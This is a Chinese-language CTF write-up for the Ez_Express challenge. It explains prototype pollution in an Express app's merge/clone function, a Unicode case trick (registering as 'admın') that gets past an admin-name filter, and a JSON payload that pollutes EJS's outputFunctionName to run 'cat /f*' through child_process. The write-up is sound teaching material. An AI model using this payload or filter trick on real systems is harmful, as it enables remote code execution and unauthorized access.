[GYCTF2020]Ez_Express
思路
一道非常经典的原型链污染的题目,我应该是第一次遇到,学会了很多
解题
网站本身没有什么:

dirsearch扫描到www.zip,其实题目网站中也有提示
源码很多文件与解题无关,关键的是这两个:
index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
const session = require('express-session')
const randomize = require('randomatic')
const bodyParser = require('body-parser')
var indexRouter = require('./routes/index');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.disable('etag');
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
我们一点点看:
首先,在其他文件中有提示,flag在/flag
我们注意到index.js中的函数:
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
涉及到merge和clone这种对对象的键和值进行操作的,很容易看出可能是原型链污染
什么是原型链污染呢?P神的文章写的很好:深入理解 JavaScript Prototype 污染攻击 | 离别歌
简单来说,访问一个对象的属性或方法时,如果类中不存在,则会在其__proto__属性中继续查找,__proto__属性是类的原型
// 例如
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
在.__proto__中找不到,则会在.__proto__.__proto__中继续找,直到这条原型链为null
我们继续审计代码,在这里看到index.js中对于/action的路由:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
而这个res.outputFunctionName在上文中:
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
也就是说,这里的res.outputFunctionName为undefined,会在原型中找,确实存在原型链污染
但是,/action的路由中有这样的判断:
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
我们必须先以ADMIN登录
登陆的代码在这里:
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
我们不知道ADMIN的密码,但是可以注册
注册时userid不能满足/(admin)/is,否则不让注册
注册完之后会对userid应用toUpperCase()
也就是说注册的userid是ADMIN的小写就行
js中的大小写有点意思:Fuzz中的javascript大小写特性 | 离别歌
如果你在电脑上读到这里,可以按f12打开开发者工具,在控制台中试着运行这段代码:
if (!String.fromCodePoint) {
(function() {
var defineProperty = (function() {
// IE 8 only supports `Object.defineProperty` on DOM elements
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch(error) {}
return result;
}());
var stringFromCharCode = String.fromCharCode;
var floor = Math.floor;
var fromCodePoint = function() {
var MAX_SIZE = 0x4000;
var codeUnits = [];
var highSurrogate;
var lowSurrogate;
var index = -1;
var length = arguments.length;
if (!length) {
return '';
}
var result = '';
while (++index < length) {
var codePoint = Number(arguments[index]);
if (
!isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`
codePoint < 0 || // not a valid Unicode code point
codePoint > 0x10FFFF || // not a valid Unicode code point
floor(codePoint) != codePoint // not an integer
) {
throw RangeError('Invalid code point: ' + codePoint);
}
if (codePoint <= 0xFFFF) { // BMP code point
codeUnits.push(codePoint);
} else { // Astral code point; split in surrogate halves
// http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
codePoint -= 0x10000;
highSurrogate = (codePoint >> 10) + 0xD800;
lowSurrogate = (codePoint % 0x400) + 0xDC00;
codeUnits.push(highSurrogate, lowSurrogate);
}
if (index + 1 == length || codeUnits.length > MAX_SIZE) {
result += stringFromCharCode.apply(null, codeUnits);
codeUnits.length = 0;
}
}
return result;
};
if (defineProperty) {
defineProperty(String, 'fromCodePoint', {
'value': fromCodePoint,
'configurable': true,
'writable': true
});
} else {
String.fromCodePoint = fromCodePoint;
}
}());
}
for (var j = 'A'.charCodeAt(); j <= 'Z'.charCodeAt(); j++){
var s = String.fromCodePoint(j);
for (var i = 0; i < 0x10FFFF; i++) {
var e = String.fromCodePoint(i);
if (s == e.toUpperCase() && s != e) {
console.log("char: "+e+"\n");
};
};
}
这段代码会自动寻找大写为26个英文字母的字符,输出是这样的:
char: a
char: b
char: c
char: d
char: e
char: f
char: g
char: h
char: i
char: ı //看这个
char: j
char: k
char: l
char: m
char: n
char: o
char: p
char: q
char: r
char: s
char: ſ //看这个
char: t
char: u
char: v
char: w
char: x
char: y
char: z
其中,有两个奇特的字符,ı(\u0131)的大写是I,ſ(\u017f)的大写是S
同样的,我们可以找到奇特的大写字符:
if (!String.fromCodePoint) {
(function() {
var defineProperty = (function() {
// IE 8 only supports `Object.defineProperty` on DOM elements
try {
var object = {};
var $defineProperty = Object.defineProperty;
var result = $defineProperty(object, object, object) && $defineProperty;
} catch(error) {}
return result;
}());
var stringFromCharCode = String.fromCharCode;
var floor = Math.floor;
var fromCodePoint = function() {
var MAX_SIZE = 0x4000;
var codeUnits = [];
var highSurrogate;
var lowSurrogate;
var index = -1;
var length = arguments.length;
if (!length) {
return '';
}
var result = '';
while (++index < length) {
var codePoint = Number(arguments[index]);
if (
!isFinite(codePoint) || // `NaN`, `+Infinity`, or `-Infinity`
codePoint < 0 || // not a valid Unicode code point
codePoint > 0x10FFFF || // not a valid Unicode code point
floor(codePoint) != codePoint // not an integer
) {
throw RangeError('Invalid code point: ' + codePoint);
}
if (codePoint <= 0xFFFF) { // BMP code point
codeUnits.push(codePoint);
} else { // Astral code point; split in surrogate halves
// http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
codePoint -= 0x10000;
highSurrogate = (codePoint >> 10) + 0xD800;
lowSurrogate = (codePoint % 0x400) + 0xDC00;
codeUnits.push(highSurrogate, lowSurrogate);
}
if (index + 1 == length || codeUnits.length > MAX_SIZE) {
result += stringFromCharCode.apply(null, codeUnits);
codeUnits.length = 0;
}
}
return result;
};
if (defineProperty) {
defineProperty(String, 'fromCodePoint', {
'value': fromCodePoint,
'configurable': true,
'writable': true
});
} else {
String.fromCodePoint = fromCodePoint;
}
}());
}
for (var j = 'a'.charCodeAt(); j <= 'z'.charCodeAt(); j++){
var s = String.fromCodePoint(j);
for (var i = 0; i < 0x10FFFF; i++) {
var e = String.fromCodePoint(i);
if (s == e.toLowerCase() && s != e) {
console.log("char: "+e+"\n");
};
};
}
输出:
char: A
char: B
char: C
char: D
char: E
char: F
char: G
char: H
char: I
char: J
char: K
char: K //看这个
char: L
char: M
char: N
char: O
char: P
char: Q
char: R
char: S
char: T
char: U
char: V
char: W
char: X
char: Y
char: Z
其中,K(\u212a)的小写是k
我们用到的正是ı
以admın为名注册,即成功登录ADMIN
我们知道是原型链污染,但是怎么用呢
在app.js中有这行配置:
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
它会将POST传的json格式参数自动解析成对象
然后看index.js中的路由:
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
req.session.user.data是从req.body经过clone而来,相当于merge({}, a)
在merge过程中,实现了{}[__proto__] = “…恶意代码…”
这样就实现了原型链污染
那么,res.outputFunctionName的内容具体要是什么呢?
这篇文章进行了对express的源码审计:Express+lodash+ejs: 从原型链污染到RCE – evi0s’ Blog

可以看到,加载的源码是:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
那么我们可以:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("cat /f*"); // ... '
后面的代码会被//注释
json参数为:
{"__proto__": {"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /f*'); //"}}
我们使用POST在/action上传参application/json数据
然后原地刷新一下就完事了,当然,也可以写入指定位置:cat /f* > /.../.../...
flag{9a14a13a-63b1-4fce-a60a-f92cbeaf032d}
注意
弄清楚原型链污染和js大小写